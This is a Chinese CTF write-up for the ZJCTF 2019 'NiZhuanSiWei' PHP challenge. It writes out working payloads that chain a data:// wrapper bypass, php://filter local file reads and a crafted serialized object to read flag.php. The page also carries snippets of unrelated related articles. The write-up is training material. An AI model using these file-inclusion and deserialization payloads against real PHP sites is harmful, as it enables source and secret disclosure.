练[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

文章目录

      • [ZJCTF 2019]NiZhuanSiWei
      • 掌握知识
      • 解题思路
        • 代码分析1
        • 代码分析2
      • 关键paylaod

在这里插入图片描述

掌握知识

data伪协议和php伪协议的使用,反序列化,代码审计,文件包含,file_get_contents函数绕过

解题思路

  1. 打开题目链接,发现是代码审计的题目,简单分析需要经过两个判断,执行文件包含函数,提示是要包含useless.php文件,下面的反序列化的源代码应该就在useless.php文件中了
?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
代码分析1
  1. 分析第一个判断,file_get_contents文件包含函数,可以使用php input伪协议和data伪协议绕过,这两个协议都可以随意执行函数或者返回字符串,所以只需要调用这两个伪协议,让其输出内容为后面的字符串即可判断成功,由于版本原因,data伪协议用的更多了,所以这里也用的data协议来返回字符串
/?text=data://text/plain,welcome to the zjctf
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
  1. 第二个判断是一个正则匹配,参数中没有flag即可通过判断,执行文件包含操作。正好醉翁之意不在flag文件,在于useless.php文件,直接包含文件没显示内容,需要使用php伪协议进行base64编码读取文件才能回显
?file=php://filter/convert.base64-encode/resource=useless.php
if(preg_match("/flag/",$file)){}else{include($file);  //useless.php}

image-20231005005254846

代码分析2
  1. base64解码即可得到useless.php文件的源码,查看了一下发现就是简单的反序列化利用,只需要给file赋值伪php协议读取flag.php文件,即可通过析构函数执行文件包含读取flag.php,拿下flag

image-20231005005508799

  1. 构建php代码,输出序列化字符串
O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
  1. 所有paylaod已经构建完成,经过测试发现file参数传参useless.php才能正常执行后面的反序列化,php伪协议读取不能正常执行,看来包含的文件还得的原样才行,由于类是在useless.php文件内,所以必须包含该文件。传入所有的参数,将base64解码之后,拿下flag

image-20231005005943207

image-20231005005949698

关键paylaod

/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.phpO:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/126009.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Scala第十八章节

Scala第十八章节 scala总目录 文档资料下载 章节目标 掌握Iterable集合相关内容.掌握Seq集合相关内容.掌握Set集合相关内容.掌握Map集合相关内容.掌握统计字符个数案例. 1. Iterable 1.1 概述 Iterable代表一个可以迭代的集合, 它继承了Traversable特质, 同时也是其他集合…

【进阶C语言】排序函数(qsort)与模拟实现(回调函数的实例)

本章大致内容目录&#xff1a; 1.认识回调函数 2.排序函数qsort 3.模拟实现qsort 回调函数为C语言重要知识点&#xff0c;以函数指针为主要知识&#xff1b;下面介绍回调函数的定义、回调函数的库函数举例即库函数模拟实现。 一、回调函数 1.回调函数定义 回调函数就是一…

[MIT6.824] Lab 3: Fault-tolerant Key/Value Service

[MIT6.824] Lab 3: Fault-tolerant Key/Value Service 目标 通过在Lab2中实现的Raft库&#xff0c;构建一个可容灾的KV数据库。 需要实现的服务有三种操作: Put(key, value) key和value都是string&#xff0c;put设置指定key的value. Append(key, arg) 将arg append到key对…

快速了解Spring Cache

SpringCache是一个框架&#xff0c;实现了基于注解的缓存功能&#xff0c;只需要简单的加一个注解&#xff0c;就可以实现缓存功能。 SpringCache提供了一层抽象&#xff0c;底层可以切换不同的缓存实现。例如&#xff1a; EHChche Redis Caffeine 常用注解&#xff1a; Enabl…

正点原子嵌入式linux驱动开发——TF-A初探

上一篇笔记中&#xff0c;正点原子的文档简单讲解了一下什么是TF-A&#xff0c;并且也学习了如何编译TF-A。但是TF-A是如何运行的&#xff0c;它的一个运行流程并未涉及。TF-A的详细运行过程是很复杂的&#xff0c;涉及到很多ARM处理器底层知识&#xff0c;所以这一篇笔记的内容…

信看课堂-厘米GNSS定位

我们常常说GPS 定位&#xff0c;不过定位远不止GPS定位&#xff0c;通过本节课程&#xff0c;我们将会了解到&#xff0c;原来GPS只是定位的一种&#xff1a; GNSS概述 不同的GNSS系统使用不同的频段来传输导航信号。以下是一些主要的GNSS系统及其相应的频段&#xff0c;用表…

JMeter接口自动化测试(数据驱动)

之前我们的用例数据都是配置在HTTP请求中&#xff0c;每次需要增加&#xff0c;修改用例都需要打开JMeter重新编辑&#xff0c;当用例越来越多的时候&#xff0c;用例维护起来就越来越麻烦&#xff0c;有没有好的方法来解决这种情况呢&#xff1f;我们可以将用例的数据存放在cs…

【智能家居项目】裸机版本——字体子系统 | 显示子系统

&#x1f431;作者&#xff1a;一只大喵咪1201 &#x1f431;专栏&#xff1a;《智能家居项目》 &#x1f525;格言&#xff1a;你只管努力&#xff0c;剩下的交给时间&#xff01; 今天实现上图整个项目系统中的字体子系统和显示子系统。 目录 &#x1f004;设计思路&#x1…

学校项目培训之Carla仿真平台之Carla学习内容

一、Blender Blender入门&#xff1a;https://www.bilibili.com/video/BV1fb4y1e7PD/ Blender导入骨骼&#xff1a;https://www.bilibili.com/video/BV1hc41157nL 做一个车&#xff1a;https://www.bilibili.com/video/BV1hY411q7w2 收获&#xff1a; 学习Blender建模的使用…

OpenResty编译安装详解

文章目录 一、概述1、OpenResty是什么2、官方文档 二、cengos安装OpenResty1、从官网下载2、目录结构3、编译安装 一、概述 1、OpenResty是什么 OpenResty 是一个基于 Nginx 与 Lua 的高性能 Web 平台&#xff0c;其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖…

Springboot使用Aop保存接口请求日志到mysql

1、添加aop依赖 <!-- aop日志 --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-aop</artifactId></dependency> 2、新建接口保存数据库的实体类RequestLog.java package com.example…

【算法】关于排序你应该知道的一切(下)

和光同尘_我的个人主页 单程孤舟&#xff0c;出云入霞&#xff0c;如歌如吟。 --门孔 八大排序 &#x1f56f;️前言1. 常见排序算法2. 常见排序算法实现2.1. 冒泡排序2.1.1. 基本思想2.1.2. 代码实现2.1.3. 特性 2.2. 快速排序2.2.1. hoare法基本思想代码实现 2.2.2. 快速排…